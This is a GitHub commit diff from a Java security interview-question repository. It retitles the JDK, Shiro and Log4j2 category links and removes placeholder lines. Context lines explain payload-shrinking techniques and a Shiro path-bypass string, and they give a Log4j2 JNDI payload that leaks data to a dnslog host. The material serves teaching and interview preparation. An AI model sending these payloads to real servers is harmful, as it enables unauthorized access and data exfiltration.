File tree Expand file tree Collapse file tree 4 files changed +3
-15
lines changed
Expand file tree Collapse file tree 4 files changed +3
-15
lines changed Original file line number Diff line number Diff line change 1818
1919## 分类
2020
21- [ JDK分类 ] ( https://github.com/4ra1n/JavaSecInterview/tree/master/java )
21+ [ Java本身的安全问题 - 12个 ] ( https://github.com/4ra1n/JavaSecInterview/tree/master/java )
2222
23- [ Shiro分类 ] ( https://github.com/4ra1n/JavaSecInterview/tree/master/shiro )
23+ [ Shiro框架相关的安全问题 - 7个 ] ( https://github.com/4ra1n/JavaSecInterview/tree/master/shiro )
2424
25- [ Log4j2分类 ] ( https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2 )
25+ [ Log4j2组件相关的安全问题 - 6个 ] ( https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2 )
Original file line number Diff line number Diff line change @@ -193,7 +193,3 @@ LinkedHashSet.readObject()
193193- 了解缩小反序列化Payload的手段吗(★★★)
194194
195195首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载
196-
197-
198-
199- - 待师傅们补充
Original file line number Diff line number Diff line change 4343在` SpringBoot ` 情况下可以使用` bundle:application ` 获得数据库密码等敏感信息
4444
4545这些敏感信息可以利用` dnslog ` 外带` ${jndi:ldap://${java:version}.xxx.dnslog.cn} `
46-
47-
48-
49- - 待补充
Original file line number Diff line number Diff line change @@ -47,7 +47,3 @@ Shiro注内存马时候由于反序列化Payload过大会导致请求头过大
4747- Shiro的权限绕过问题了解吗(★★)
4848
4949主要是和Spring配合时候的问题,例如` /;/test/admin/page ` 问题,在` Tomcat ` 判断` /;test/admin/page ` 为test应用下的` /admin/page ` 路由,进入到Shiro时被` ; ` 截断被认作为` / ` ,再进入Spring时又被正确处理为test应用下的` /admin/page ` 路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如` /admin/{name} `
50-
51-
52-
53- - 待补充
You can’t perform that action at this time.
0 commit comments